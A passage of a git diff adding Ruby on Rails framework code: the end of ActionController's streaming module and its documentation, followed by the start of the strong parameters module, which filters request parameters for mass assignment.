+  #   Hello
+  #   <%= content_for :title, " page" %>
+  #
+  # The final result would be:
+  #
+  #   <html>
+  #     <head><title>Main page</title></head>
+  #     <body>Hello</body>
+  #   </html>
+  #
+  # This means that, if you have <code>yield :title</code> in your layout
+  # and you want to use streaming, you would have to render the whole template
+  # (and eventually trigger all queries) before streaming the title and all
+  # assets, which kills the purpose of streaming. For this purpose, you can use
+  # a helper called +provide+ that does the same as +content_for+ but tells the
+  # layout to stop searching for other entries and continue rendering.
+  #
+  # For instance, the template above using +provide+ would be:
+  #
+  #   <%= provide :title, "Main" %>
+  #   Hello
+  #   <%= content_for :title, " page" %>
+  #
+  # Giving:
+  #
+  #   <html>
+  #     <head><title>Main</title></head>
+  #     <body>Hello</body>
+  #   </html>
+  #
+  # That said, when streaming, you need to properly check your templates
+  # and choose when to use +provide+ and +content_for+.
+  #
+  # == Headers, cookies, session and flash
+  #
+  # When streaming, the HTTP headers are sent to the client right before
+  # it renders the first line. This means that, modifying headers, cookies,
+  # session or flash after the template starts rendering will not propagate
+  # to the client.
+  #
+  # == Middlewares
+  #
+  # Middlewares that need to manipulate the body won't work with streaming.
+  # You should disable those middlewares whenever streaming in development
+  # or production. For instance, <tt>Rack::Bug</tt> won't work when streaming as it
+  # needs to inject contents in the HTML body.
+  #
+  # Also <tt>Rack::Cache</tt> won't work with streaming as it does not support
+  # streaming bodies yet. Whenever streaming Cache-Control is automatically
+  # set to "no-cache".
+  #
+  # == Errors
+  #
+  # When it comes to streaming, exceptions get a bit more complicated. This
+  # happens because part of the template was already rendered and streamed to
+  # the client, making it impossible to render a whole exception page.
+  #
+  # Currently, when an exception happens in development or production, Rails
+  # will automatically stream to the client:
+  #
+  #   "><script>window.location = "/500.html"</script></html>
+  #
+  # The first two characters (">) are required in case the exception happens
+  # while rendering attributes for a given tag. You can check the real cause
+  # for the exception in your logger.
+  #
+  # == Web server support
+  #
+  # Not all web servers support streaming out-of-the-box. You need to check
+  # the instructions for each of them.
+  #
+  # ==== Unicorn
+  #
+  # Unicorn supports streaming but it needs to be configured. For this, you
+  # need to create a config file as follow:
+  #
+  #   # unicorn.config.rb
+  #   listen 3000, tcp_nopush: false
+  #
+  # And use it on initialization:
+  #
+  #   unicorn_rails --config-file unicorn.config.rb
+  #
+  # You may also want to configure other parameters like <tt>:tcp_nodelay</tt>.
+  # Please check its documentation for more information: http://unicorn.bogomips.org/Unicorn/Configurator.html#method-i-listen
+  #
+  # If you are using Unicorn with NGINX, you may need to tweak NGINX.
+  # Streaming should work out of the box on Rainbows.
+  #
+  # ==== Passenger
+  #
+  # To be described.
+  #
+  module Streaming
+    extend ActiveSupport::Concern
+
+    private
+
+      # Set proper cache control and transfer encoding when streaming
+      def _process_options(options)
+        super
+        if options[:stream]
+          if request.version == "HTTP/1.0"
+            options.delete(:stream)
+          else
+            headers["Cache-Control"] ||= "no-cache"
+            headers["Transfer-Encoding"] = "chunked"
+            headers.delete("Content-Length")
+          end
+        end
+      end
+
+      # Call render_body if we are streaming instead of usual +render+.
+      def _render_template(options)
+        if options.delete(:stream)
+          Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
+        else
+          super
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
new file mode 100644
index 0000000000..ef7c4c4c16
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -0,0 +1,1085 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/hash/transform_values"
+require "active_support/core_ext/array/wrap"
+require "active_support/core_ext/string/filters"
+require "active_support/core_ext/object/to_query"
+require "active_support/rescuable"
+require "action_dispatch/http/upload"
+require "rack/test"
+require "stringio"
+require "set"
+require "yaml"
+
+module ActionController
+  # Raised when a required parameter is missing.
+  #
+  #   params = ActionController::Parameters.new(a: {})
+  #   params.fetch(:b)
+  #   # => ActionController::ParameterMissing: param is missing or the value is empty: b
+  #   params.require(:a)
+  #   # => ActionController::ParameterMissing: param is missing or the value is empty: a
+  class ParameterMissing < KeyError
+    attr_reader :param # :nodoc:
+
+    def initialize(param) # :nodoc:
+      @param = param
+      super("param is missing or the value is empty: #{param}")
+    end
+  end
+
+  # Raised when a supplied parameter is not expected and
+  # ActionController::Parameters.action_on_unpermitted_parameters
+  # is set to <tt>:raise</tt>.
+  #
+  #   params = ActionController::Parameters.new(a: "123", b: "456")
+  #   params.permit(:c)
+  #   # => ActionController::UnpermittedParameters: found unpermitted parameters: :a, :b
+  class UnpermittedParameters < IndexError
+    attr_reader :params # :nodoc:
+
+    def initialize(params) # :nodoc:
+      @params = params
+      super("found unpermitted parameter#{'s' if params.size > 1 }: #{params.map { |e| ":#{e}" }.join(", ")}")
+    end
+  end
+
+  # Raised when a Parameters instance is not marked as permitted and
+  # an operation to transform it to hash is called.
+  #
+  #   params = ActionController::Parameters.new(a: "123", b: "456")
+  #   params.to_h
+  #   # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+  class UnfilteredParameters < ArgumentError
+    def initialize # :nodoc:
+      super("unable to convert unpermitted parameters to hash")
+    end
+  end
+
+  # == Action Controller \Parameters
+  #
+  # Allows you to choose which attributes should be whitelisted for mass updating
+  # and thus prevent accidentally exposing that which shouldn't be exposed.
+  # Provides two methods for this purpose: #require and #permit. The former is
+  # used to mark parameters as required. The latter is used to set the parameter
+  # as permitted and limit which attributes should be allowed for mass updating.
+  #
+  #   params = ActionController::Parameters.new({
+  #     person: {
+  #       name: "Francesco",
+  #       age:  22,
+  #       role: "admin"
+  #     }
+  #   })
+  #
+  #   permitted = params.require(:person).permit(:name, :age)
+  #   permitted            # => <ActionController::Parameters {"name"=>"Francesco", "age"=>22} permitted: true>
+  #   permitted.permitted? # => true
+  #
+  #   Person.first.update!(permitted)
+  #   # => #<Person id: 1, name: "Francesco", age: 22, role: "user">
+  #
+  # It provides two options that controls the top-level behavior of new instances:
+  #
+  # * +permit_all_parameters+ - If it's +true+, all the parameters will be
+  #   permitted by default. The default is +false+.
+  # * +action_on_unpermitted_parameters+ - Allow to control the behavior when parameters
+  #   that are not explicitly permitted are found. The values can be +false+ to just filter them
+  #   out, <tt>:log</tt> to additionally write a message on the logger, or <tt>:raise</tt> to raise
+  #   ActionController::UnpermittedParameters exception. The default value is <tt>:log</tt>
+  #   in test and development environments, +false+ otherwise.
+  #
+  # Examples:
+  #
+  #   params = ActionController::Parameters.new
+  #   params.permitted? # => false
+  #
+  #   ActionController::Parameters.permit_all_parameters = true
+  #
+  #   params = ActionController::Parameters.new
+  #   params.permitted? # => true
+  #
+  #   params = ActionController::Parameters.new(a: "123", b: "456")
+  #   params.permit(:c)
+  #   # => <ActionController::Parameters {} permitted: true>
+  #
+  #   ActionController::Parameters.action_on_unpermitted_parameters = :raise
+  #
+  #   params = ActionController::Parameters.new(a: "123", b: "456")
+  #   params.permit(:c)
+  #   # => ActionController::UnpermittedParameters: found unpermitted keys: a, b
+  #
+  # Please note that these options *are not thread-safe*. In a multi-threaded
+  # environment they should only be set once at boot-time and never mutated at
+  # runtime.
+  #
+  # You can fetch values of <tt>ActionController::Parameters</tt> using either
+  # <tt>:key</tt> or <tt>"key"</tt>.
+  #
+  #   params = ActionController::Parameters.new(key: "value")
+  #   params[:key]  # => "value"
+  #   params["key"] # => "value"
+  class Parameters
+    cattr_accessor :permit_all_parameters, instance_accessor: false, default: false
+
+    cattr_accessor :action_on_unpermitted_parameters, instance_accessor: false
+
+    ##
+    # :method: as_json
+    #
+    # :call-seq:
+    #   as_json(options=nil)
+    #
+    # Returns a hash that can be used as the JSON representation for the parameters.
+
+    ##
+    # :method: empty?
+    #
+    # :call-seq:
+    #   empty?()
+    #
+    # Returns true if the parameters have no key/value pairs.
+
+    ##
+    # :method: has_key?
+    #
+    # :call-seq:
+    #   has_key?(key)
+    #
+    # Returns true if the given key is present in the parameters.
+
+    ##
+    # :method: has_value?
+    #
+    # :call-seq:
+    #   has_value?(value)
+    #
+    # Returns true if the given value is present for some key in the parameters.
+
+    ##
+    # :method: include?
+    #
+    # :call-seq:
+    #   include?(key)
+    #
+    # Returns true if the given key is present in the parameters.
+
+    ##
+    # :method: key?
+    #
+    # :call-seq:
+    #   key?(key)
+    #
+    # Returns true if the given key is present in the parameters.
+
+    ##
+    # :method: keys
+    #
+    # :call-seq:
+    #   keys()
+    #
+    # Returns a new array of the keys of the parameters.
+
+    ##
+    # :method: to_s
+    #
+    # :call-seq:
+    #   to_s()
+    #
+    # Returns the content of the parameters as a string.
+
+    ##
+    # :method: value?
+    #
+    # :call-seq:
+    #   value?(value)
+    #
+    # Returns true if the given value is present for some key in the parameters.
+
+    ##
+    # :method: values
+    #
+    # :call-seq:
+    #   values()
+    #
+    # Returns a new array of the values of the parameters.
+    delegate :keys, :key?, :has_key?, :values, :has_value?, :value?, :empty?, :include?,
+      :as_json, :to_s, to: :@parameters
+
+    # By default, never raise an UnpermittedParameters exception if these
+    # params are present. The default includes both 'controller' and 'action'
+    # because they are added by Rails and should be of no concern. One way
+    # to change these is to specify `always_permitted_parameters` in your
+    # config. For instance:
+    #
+    #    config.always_permitted_parameters = %w( controller action format )
+    cattr_accessor :always_permitted_parameters, default: %w( controller action )
+
+    # Returns a new instance of <tt>ActionController::Parameters</tt>.
+    # Also, sets the +permitted+ attribute to the default value of
+    # <tt>ActionController::Parameters.permit_all_parameters</tt>.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   params = ActionController::Parameters.new(name: "Francesco")
+    #   params.permitted?  # => false
+    #   Person.new(params) # => ActiveModel::ForbiddenAttributesError
+    #
+    #   ActionController::Parameters.permit_all_parameters = true
+    #
+    #   params = ActionController::Parameters.new(name: "Francesco")
+    #   params.permitted?  # => true
+    #   Person.new(params) # => #<Person id: nil, name: "Francesco">
+    def initialize(parameters = {})
+      @parameters = parameters.with_indifferent_access
+      @permitted = self.class.permit_all_parameters
+    end
+
+    # Returns true if another +Parameters+ object contains the same content and
+    # permitted flag.
+    def ==(other)
+      if other.respond_to?(:permitted?)
+        permitted? == other.permitted? && parameters == other.parameters
+      else
+        @parameters == other
+      end
+    end
+
+    # Returns a safe <tt>ActiveSupport::HashWithIndifferentAccess</tt>
+    # representation of the parameters with all unpermitted keys removed.
+    #
+    #   params = ActionController::Parameters.new({
+    #     name: "Senjougahara Hitagi",
+    #     oddity: "Heavy stone crab"
+    #   })
+    #   params.to_h
+    #   # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+    #
+    #   safe_params = params.permit(:name)
+    #   safe_params.to_h # => {"name"=>"Senjougahara Hitagi"}
+    def to_h
+      if permitted?
+        convert_parameters_to_hashes(@parameters, :to_h)
+      else
+        raise UnfilteredParameters
+      end
+    end
+
+    # Returns a safe <tt>Hash</tt> representation of the parameters
+    # with all unpermitted keys removed.
+    #
+    #   params = ActionController::Parameters.new({
+    #     name: "Senjougahara Hitagi",
+    #     oddity: "Heavy stone crab"
+    #   })
+    #   params.to_hash
+    #   # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+    #
+    #   safe_params = params.permit(:name)
+    #   safe_params.to_hash # => {"name"=>"Senjougahara Hitagi"}
+    def to_hash
+      to_h.to_hash
+    end
+
+    # Returns a string representation of the receiver suitable for use as a URL
+    # query string:
+    #
+    #   params = ActionController::Parameters.new({
+    #     name: "David",
+    #     nationality: "Danish"
+    #   })
+    #   params.to_query
+    #   # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+    #
+    #   safe_params = params.permit(:name, :nationality)
+    #   safe_params.to_query
+    #   # => "name=David&nationality=Danish"
+    #
+    # An optional namespace can be passed to enclose key names:
+    #
+    #   params = ActionController::Parameters.new({
+    #     name: "David",
+    #     nationality: "Danish"
+    #   })
+    #   safe_params = params.permit(:name, :nationality)
+    #   safe_params.to_query("user")
+    #   # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+    #
+    # The string pairs "key=value" that conform the query string
+    # are sorted lexicographically in ascending order.
+    #
+    # This method is also aliased as +to_param+.
+    def to_query(*args)
+      to_h.to_query(*args)
+    end
+    alias_method :to_param, :to_query
+
+    # Returns an unsafe, unfiltered
+    # <tt>ActiveSupport::HashWithIndifferentAccess</tt> representation of the
+    # parameters.
+    #
+    #   params = ActionController::Parameters.new({
+    #     name: "Senjougahara Hitagi",
+    #     oddity: "Heavy stone crab"
+    #   })
+    #   params.to_unsafe_h
+    #   # => {"name"=>"Senjougahara Hitagi", "oddity" => "Heavy stone crab"}
+    def to_unsafe_h
+      convert_parameters_to_hashes(@parameters, :to_unsafe_h)
+    end
+    alias_method :to_unsafe_hash, :to_unsafe_h
+
+    # Convert all hashes in values into parameters, then yield each pair in
+    # the same way as <tt>Hash#each_pair</tt>.
+    def each_pair(&block)
+      @parameters.each_pair do |key, value|
+        yield key, convert_hashes_to_parameters(key, value)
+      end
+    end
+    alias_method :each, :each_pair
+
+    # Attribute that keeps track of converted arrays, if any, to avoid double
+    # looping in the common use case permit + mass-assignment. Defined in a
+    # method to instantiate it only if needed.
+    #
+    # Testing membership still loops, but it's going to be faster than our own
+    # loop that converts values. Also, we are not going to build a new array
+    # object per fetch.
+    def converted_arrays
+      @converted_arrays ||= Set.new
+    end
+
+    # Returns +true+ if the parameter is permitted, +false+ otherwise.
+    #
+    #   params = ActionController::Parameters.new
+    #   params.permitted? # => false
+    #   params.permit!
+    #   params.permitted? # => true
+    def permitted?
+      @permitted
+    end
+
+    # Sets the +permitted+ attribute to +true+. This can be used to pass
+    # mass assignment. Returns +self+.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   params = ActionController::Parameters.new(name: "Francesco")
+    #   params.permitted?  # => false
+    #   Person.new(params) # => ActiveModel::ForbiddenAttributesError
+    #   params.permit!
+    #   params.permitted?  # => true
+    #   Person.new(params) # => #<Person id: nil, name: "Francesco">
+    def permit!
+      each_pair do |key, value|
+        Array.wrap(value).each do |v|
+          v.permit! if v.respond_to? :permit!
+        end
+      end
+
+      @permitted = true
+      self
+    end
+
+    # This method accepts both a single key and an array of keys.
+    #
+    # When passed a single key, if it exists and its associated value is
+    # either present or the singleton +false+, returns said value:
+    #
+    #   ActionController::Parameters.new(person: { name: "Francesco" }).require(:person)
+    #   # => <ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+    #
+    # Otherwise raises <tt>ActionController::ParameterMissing</tt>:
+    #
+    #   ActionController::Parameters.new.require(:person)
+    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #
+    #   ActionController::Parameters.new(person: nil).require(:person)
+    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #
+    #   ActionController::Parameters.new(person: "\t").require(:person)
+    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #
+    #   ActionController::Parameters.new(person: {}).require(:person)
+    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #
+    # When given an array of keys, the method tries to require each one of them
+    # in order. If it succeeds, an array with the respective return values is
+    # returned:
+    #
+    #   params = ActionController::Parameters.new(user: { ... }, profile: { ... })
+    #   user_params, profile_params = params.require([:user, :profile])
+    #
+    # Otherwise, the method re-raises the first exception found:
+    #
+    #   params = ActionController::Parameters.new(user: {}, profile: {})
+    #   user_params, profile_params = params.require([:user, :profile])
+    #   # ActionController::ParameterMissing: param is missing or the value is empty: user
+    #
+    # Technically this method can be used to fetch terminal values:
+    #
+    #   # CAREFUL
+    #   params = ActionController::Parameters.new(person: { name: "Finn" })
+    #   name = params.require(:person).require(:name) # CAREFUL
+    #
+    # but take into account that at some point those ones have to be permitted:
+    #
+    #   def person_params
+    #     params.require(:person).permit(:name).tap do |person_params|
+    #       person_params.require(:name) # SAFER
+    #     end
+    #   end
+    #
+    # for example.
+    def require(key)
+      return key.map { |k| require(k) } if key.is_a?(Array)
+      value = self[key]
+      if value.present? || value == false
+        value
+      else
+        raise ParameterMissing.new(key)
+      end
+    end
+
+    # Alias of #require.
+    alias :required :require
+
+    # Returns a new <tt>ActionController::Parameters</tt> instance that
+    # includes only the given +filters+ and sets the +permitted+ attribute
+    # for the object to +true+. This is useful for limiting which attributes
+    # should be allowed for mass updating.
+    #
+    #   params = ActionController::Parameters.new(user: { name: "Francesco", age: 22, role: "admin" })
+    #   permitted = params.require(:user).permit(:name, :age)
+    #   permitted.permitted?      # => true
+    #   permitted.has_key?(:name) # => true
+    #   permitted.has_key?(:age)  # => true
+    #   permitted.has_key?(:role) # => false
+    #
+    # Only permitted scalars pass the filter. For example, given
+    #
+    #   params.permit(:name)
+    #
+    # +:name+ passes if it is a key of +params+ whose associated value is of type
+    # +String+, +Symbol+, +NilClass+, +Numeric+, +TrueClass+, +FalseClass+,
+    # +Date+, +Time+, +DateTime+, +StringIO+, +IO+,
+    # +ActionDispatch::Http::UploadedFile+ or +Rack::Test::UploadedFile+.
+    # Otherwise, the key +:name+ is filtered out.
+    #
+    # You may declare that the parameter should be an array of permitted scalars
+    # by mapping it to an empty array:
+    #
+    #   params = ActionController::Parameters.new(tags: ["rails", "parameters"])
+    #   params.permit(tags: [])
+    #
+    # Sometimes it is not possible or convenient to declare the valid keys of
+    # a hash parameter or its internal structure. Just map to an empty hash:
+    #
+    #   params.permit(preferences: {})
+    #
+    # Be careful because this opens the door to arbitrary input. In this
+    # case, +permit+ ensures values in the returned structure are permitted
+    # scalars and filters out anything else.
+    #
+    # You can also use +permit+ on nested parameters, like:
+    #
+    #   params = ActionController::Parameters.new({
+    #     person: {
+    #       name: "Francesco",
+    #       age:  22,
+    #       pets: [{
+    #         name: "Purplish",
+    #         category: "dogs"
+    #       }]
+    #     }
+    #   })
+    #
+    #   permitted = params.permit(person: [ :name, { pets: :name } ])
+    #   permitted.permitted?                    # => true
+    #   permitted[:person][:name]               # => "Francesco"
+    #   permitted[:person][:age]                # => nil
+    #   permitted[:person][:pets][0][:name]     # => "Purplish"
+    #   permitted[:person][:pets][0][:category] # => nil
+    #
+    # Note that if you use +permit+ in a key that points to a hash,
+    # it won't allow all the hash. You also need to specify which
+    # attributes inside the hash should be whitelisted.
+    #
+    #   params = ActionController::Parameters.new({
+    #     person: {
+    #       contact: {
+    #         email: "none@test.com",
+    #         phone: "555-1234"
+    #       }
+    #     }
+    #   })
+    #
+    #   params.require(:person).permit(:contact)
+    #   # => <ActionController::Parameters {} permitted: true>
+    #
+    #   params.require(:person).permit(contact: :phone)
+    #   # => <ActionController::Parameters {"contact"=><ActionController::Parameters {"phone"=>"555-1234"} permitted: true>} permitted: true>
+    #
+    #   params.require(:person).permit(contact: [ :email, :phone ])
+    #   # => <ActionController::Parameters {"contact"=><ActionController::Parameters {"email"=>"none@test.com", "phone"=>"555-1234"} permitted: true>} permitted: true>
+    def permit(*filters)
+      params = self.class.new
+
+      filters.flatten.each do |filter|
+        case filter
+        when Symbol, String
+          permitted_scalar_filter(params, filter)
+        when Hash
+          hash_filter(params, filter)
+        end
+      end
+
+      unpermitted_parameters!(params) if self.class.action_on_unpermitted_parameters
+
+      params.permit!
+    end
+
+    # Returns a parameter for the given +key+. If not found,
+    # returns +nil+.
+    #
+    #   params = ActionController::Parameters.new(person: { name: "Francesco" })
+    #   params[:person] # => <ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+    #   params[:none]   # => nil
+    def [](key)
+      convert_hashes_to_parameters(key, @parameters[key])
+    end
+
+    # Assigns a value to a given +key+. The given key may still get filtered out
+    # when +permit+ is called.
+    def []=(key, value)
+      @parameters[key] = value
+    end
+
+    # Returns a parameter for the given +key+. If the +key+
+    # can't be found, there are several options: With no other arguments,
+    # it will raise an <tt>ActionController::ParameterMissing</tt> error;
+    # if more arguments are given, then that will be returned; if a block
+    # is given, then that will be run and its result returned.
+    #
+    #   params = ActionController::Parameters.new(person: { name: "Francesco" })
+    #   params.fetch(:person)               # => <ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+    #   params.fetch(:none)                 # => ActionController::ParameterMissing: param is missing or the value is empty: none
+    #   params.fetch(:none, "Francesco")    # => "Francesco"
+    #   params.fetch(:none) { "Francesco" } # => "Francesco"
+    def fetch(key, *args)
+      convert_value_to_parameters(
+        @parameters.fetch(key) {
+          if block_given?
+            yield
+          else
+            args.fetch(0) { raise ActionController::ParameterMissing.new(key) }
+          end
+        }
+      )
+    end
+
+    if Hash.method_defined?(:dig)
+      # Extracts the nested parameter from the given +keys+ by calling +dig+
+      # at each step. Returns +nil+ if any intermediate step is +nil+.
+      #
+      #   params = ActionController::Parameters.new(foo: { bar: { baz: 1 } })
+      #   params.dig(:foo, :bar, :baz) # => 1
+      #   params.dig(:foo, :zot, :xyz) # => nil
+      #
+      #   params2 = ActionController::Parameters.new(foo: [10, 11, 12])
+      #   params2.dig(:foo, 1) # => 11
+      def dig(*keys)
+        convert_value_to_parameters(@parameters.dig(*keys))
+      end
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> instance that
+    # includes only the given +keys+. If the given +keys+
+    # don't exist, returns an empty hash.
+    #
+    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #   params.slice(:a, :b) # => <ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
+    #   params.slice(:d)     # => <ActionController::Parameters {} permitted: false>
+    def slice(*keys)
+      new_instance_with_inherited_permitted_status(@parameters.slice(*keys))
+    end
+
+    # Returns current <tt>ActionController::Parameters</tt> instance which
+    # contains only the given +keys+.
+    def slice!(*keys)
+      @parameters.slice!(*keys)
+      self
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> instance that
+    # filters out the given +keys+.
+    #
+    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #   params.except(:a, :b) # => <ActionController::Parameters {"c"=>3} permitted: false>
+    #   params.except(:d)     # => <ActionController::Parameters {"a"=>1, "b"=>2, "c"=>3} permitted: false>
+    def except(*keys)
+      new_instance_with_inherited_permitted_status(@parameters.except(*keys))
+    end
+
+    # Removes and returns the key/value pairs matching the given keys.
+    #
+    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #   params.extract!(:a, :b) # => <ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
+    #   params                  # => <ActionController::Parameters {"c"=>3} permitted: false>
+    def extract!(*keys)
+      new_instance_with_inherited_permitted_status(@parameters.extract!(*keys))
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> with the results of
+    # running +block+ once for every value. The keys are unchanged.
+    #
+    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #   params.transform_values { |x| x * 2 }
+    #   # => <ActionController::Parameters {"a"=>2, "b"=>4, "c"=>6} permitted: false>
+    def transform_values(&block)
+      if block
+        new_instance_with_inherited_permitted_status(
+          @parameters.transform_values(&block)
+        )
+      else
+        @parameters.transform_values
+      end
+    end
+
+    # Performs values transformation and returns the altered
+    # <tt>ActionController::Parameters</tt> instance.
+    def transform_values!(&block)
+      @parameters.transform_values!(&block)
+      self
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> instance with the
+    # results of running +block+ once for every key. The values are unchanged.
+    def transform_keys(&block)
+      if block
+        new_instance_with_inherited_permitted_status(
+          @parameters.transform_keys(&block)
+        )
+      else
+        @parameters.transform_keys
+      end
+    end
+
+    # Performs keys transformation and returns the altered
+    # <tt>ActionController::Parameters</tt> instance.
+    def transform_keys!(&block)
+      @parameters.transform_keys!(&block)
+      self
+    end
+
+    # Deletes a key-value pair from +Parameters+ and returns the value. If
+    # +key+ is not found, returns +nil+ (or, with optional code block, yields
+    # +key+ and returns the result). Cf. +#extract!+, which returns the
+    # corresponding +ActionController::Parameters+ object.
+    def delete(key, &block)
+      convert_value_to_parameters(@parameters.delete(key, &block))
+    end
+
+    # Returns a new instance of <tt>ActionController::Parameters</tt> with only
+    # items that the block evaluates to true.
+    def select(&block)
+      new_instance_with_inherited_permitted_status(@parameters.select(&block))
+    end
+
+    # Equivalent to Hash#keep_if, but returns +nil+ if no changes were made.
+    def select!(&block)
+      @parameters.select!(&block)
+      self
+    end
+    alias_method :keep_if, :select!
+
+    # Returns a new instance of <tt>ActionController::Parameters</tt> with items
+    # that the block evaluates to true removed.
+    def reject(&block)
+      new_instance_with_inherited_permitted_status(@parameters.reject(&block))
+    end
+
+    # Removes items that the block evaluates to true and returns self.
+    def reject!(&block)
+      @parameters.reject!(&block)
+      self
+    end
+    alias_method :delete_if, :reject!
+
+    # Returns values that were assigned to the given +keys+. Note that all the
+    # +Hash+ objects will be converted to <tt>ActionController::Parameters</tt>.
+    def values_at(*keys)
+      convert_value_to_parameters(@parameters.values_at(*keys))
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> with all keys from
+    # +other_hash+ merged into current hash.
+    def merge(other_hash)
+      new_instance_with_inherited_permitted_status(
+        @parameters.merge(other_hash.to_h)
+      )
+    end
+
+    # Returns current <tt>ActionController::Parameters</tt> instance with
+    # +other_hash+ merged into current hash.
+    def merge!(other_hash)
+      @parameters.merge!(other_hash.to_h)
+      self
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> with all keys from
+    # current hash merged into +other_hash+.
+    def reverse_merge(other_hash)
+      new_instance_with_inherited_permitted_status(
+        other_hash.to_h.merge(@parameters)
+      )
+    end
+    alias_method :with_defaults, :reverse_merge
+
+    # Returns current <tt>ActionController::Parameters</tt> instance with
+    # current hash merged into +other_hash+.
+    def reverse_merge!(other_hash)
+      @parameters.merge!(other_hash.to_h) { |key, left, right| left }
+      self
+    end
+    alias_method :with_defaults!, :reverse_merge!
+
+    # This is required by ActiveModel attribute assignment, so that user can
+    # pass +Parameters+ to a mass assignment methods in a model. It should not
+    # matter as we are using +HashWithIndifferentAccess+ internally.
+    def stringify_keys # :nodoc:
+      dup
+    end
+
+    def inspect
+      "<#{self.class} #{@parameters} permitted: #{@permitted}>"
+    end
+
+    def self.hook_into_yaml_loading # :nodoc:
+      # Wire up YAML format compatibility with Rails 4.2 and Psych 2.0.8 and 2.0.9+.
+      # Makes the YAML parser call `init_with` when it encounters the keys below
+      # instead of trying its own parsing routines.
+      YAML.load_tags["!ruby/hash-with-ivars:ActionController::Parameters"] = name
+      YAML.load_tags["!ruby/hash:ActionController::Parameters"] = name
+    end
+    hook_into_yaml_loading
+
+    def init_with(coder) # :nodoc:
+      case coder.tag
+      when "!ruby/hash:ActionController::Parameters"
+        # YAML 2.0.8's format where hash instance variables weren't stored.
+        @parameters = coder.map.with_indifferent_access
+        @permitted  = false
+      when "!ruby/hash-with-ivars:ActionController::Parameters"
+        # YAML 2.0.9's Hash subclass format where keys and values
+        # were stored under an elements hash and `permitted` within an ivars hash.
+        @parameters = coder.map["elements"].with_indifferent_access
+        @permitted  = coder.map["ivars"][:@permitted]
+      when "!ruby/object:ActionController::Parameters"
+        # YAML's Object format. Only needed because of the format
+        # backwardscompability above, otherwise equivalent to YAML's initialization.
+        @parameters, @permitted = coder.map["parameters"], coder.map["permitted"]
+      end
+    end
+
+    # Returns duplicate of object including all parameters.
+    def deep_dup
+      self.class.new(@parameters.deep_dup).tap do |duplicate|
+        duplicate.permitted = @permitted
+      end
+    end
+
+    protected
+      attr_reader :parameters
+
+      def permitted=(new_permitted)
+        @permitted = new_permitted
+      end
+
+      def fields_for_style?
+        @parameters.all? { |k, v| k =~ /\A-?\d+\z/ && (v.is_a?(Hash) || v.is_a?(Parameters)) }
+      end
+
+    private
+      def new_instance_with_inherited_permitted_status(hash)
+        self.class.new(hash).tap do |new_instance|
+          new_instance.permitted = @permitted
+        end
+      end
+
+      def convert_parameters_to_hashes(value, using)
+        case value
+        when Array
+          value.map { |v| convert_parameters_to_hashes(v, using) }
+        when Hash
+          value.transform_values do |v|
+            convert_parameters_to_hashes(v, using)
+          end.with_indifferent_access
+        when Parameters
+          value.send(using)
+        else
+          value
+        end
+      end
+
+      def convert_hashes_to_parameters(key, value)
+        converted = convert_value_to_parameters(value)
+        @parameters[key] = converted unless converted.equal?(value)
+        converted
+      end
+
+      def convert_value_to_parameters(value)
+        case value
+        when Array
+          return value if converted_arrays.member?(value)
+          converted = value.map { |_| convert_value_to_parameters(_) }
+          converted_arrays << converted
+          converted
+        when Hash
+          self.class.new(value)
+        else
+          value
+        end
+      end
+
+      def each_element(object)
+        case object
+        when Array
+          object.grep(Parameters).map { |el| yield el }.compact
+        when Parameters
+          if object.fields_for_style?
+            hash = object.class.new
+            object.each { |k, v| hash[k] = yield v }
+            hash
+          else
+            yield object
+          end
+        end
+      end
+
+      def unpermitted_parameters!(params)
+        unpermitted_keys = unpermitted_keys(params)
+        if unpermitted_keys.any?
+          case self.class.action_on_unpermitted_parameters
+          when :log
+            name = "unpermitted_parameters.action_controller"
+            ActiveSupport::Notifications.instrument(name, keys: unpermitted_keys)
+          when :raise
+            raise ActionController::UnpermittedParameters.new(unpermitted_keys)
+          end
+        end
+      end
+
+      def unpermitted_keys(params)
+        keys - params.keys - always_permitted_parameters
+      end
+
+      #
+      # --- Filtering ----------------------------------------------------------
+      #
+
+      # This is a white list of permitted scalar types that includes the ones
+      # supported in XML and JSON requests.
+      #
+      # This list is in particular used to filter ordinary requests, String goes
+      # as first element to quickly short-circuit the common case.
+      #
+      # If you modify this collection please update the API of +permit+ above.
+      PERMITTED_SCALAR_TYPES = [
+        String,
+        Symbol,
+        NilClass,
+        Numeric,
+        TrueClass,
+        FalseClass,
+        Date,
+        Time,
+        # DateTimes are Dates, we document the type but avoid the redundant check.
+        StringIO,
+        IO,
+        ActionDispatch::Http::UploadedFile,
+        Rack::Test::UploadedFile,
+      ]
+
+      def permitted_scalar?(value)
+        PERMITTED_SCALAR_TYPES.any? { |type| value.is_a?(type) }
+      end
+
+      def permitted_scalar_filter(params, key)
